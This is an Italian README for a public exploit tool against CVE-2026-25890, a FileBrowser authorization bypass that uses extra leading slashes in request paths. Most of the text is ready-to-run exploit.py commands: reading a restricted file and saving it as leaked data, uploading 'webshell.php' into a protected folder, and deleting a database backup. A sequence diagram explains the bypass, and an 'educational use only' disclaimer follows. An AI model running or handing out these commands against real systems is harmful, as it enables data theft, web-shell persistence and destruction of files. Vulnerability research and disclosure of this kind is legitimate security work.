
Exploit per CVE-2026-25890, un bypass dell'autorizzazione basato sul percorso in FileBrowser <= v2.57.0, che consente a utenti autenticati con privilegi bassi di leggere, caricare ed eliminare file riservati tramite più barre iniziali.
Gli utenti non autenticati non possono sfruttare questa vulnerabilità — richiede credenziali valide a bassi privilegi che sono limitate dal percorso di destinazione.
Bypass dell'autorizzazione basata sul percorso in FileBrowser ≤ v2.57.0 utilizzando più barre iniziali (//private invece di /private) per eludere i controlli strings.HasPrefix() mentre il filesystem serve comunque il percorso canonico.
Corretto nella v2.57.1 (commit 489af403... – rimosso r.SkipClean(true)).
# Clona il repository
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# Nessuna dipendenza oltre alla libreria standard + requests
pip install requests
python3 exploit.py --help
# Leggi un file riservato
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# Carica un file dannoso in una cartella riservata
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# Elimina un file riservato
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attacker
participant FileBrowser ≤ v2.57.0
participant Gorilla Mux Router
participant Auth Middleware
participant Filesystem Handler
Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(richiesta normale)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
Auth Middleware->>Attacker: 403 Forbidden
Note over Attacker,FileBrowser: L'attaccante tenta il bypass
Attacker->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → nessuna normalizzazione)
Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
Auth Middleware->>Filesystem Handler: Consentito → procedi
Filesystem Handler->>Filesystem: Normalizza // → /private/secret.txt
Filesystem->>Filesystem Handler: Restituisce il contenuto del file
Filesystem Handler->>Attacker: 200 OK + contenuto segreto
Questa proof-of-concept è fornita esclusivamente a scopo educativo e di ricerca sulla sicurezza.
Non utilizzare questo codice contro qualsiasi sistema senza esplicita autorizzazione scritta del proprietario.
L'accesso o la modifica non autorizzata di sistemi è illegale nella maggior parte delle giurisdizioni (es. CFAA, Computer Misuse Act).
Autore dell'Exploit: Mohammed Idrees Banyamer
Paese: Giordania
Instagram: @banyamer_security
Metti una stella ⭐ al repository se lo trovi utile!
Ultimo aggiornamento: febbraio 2026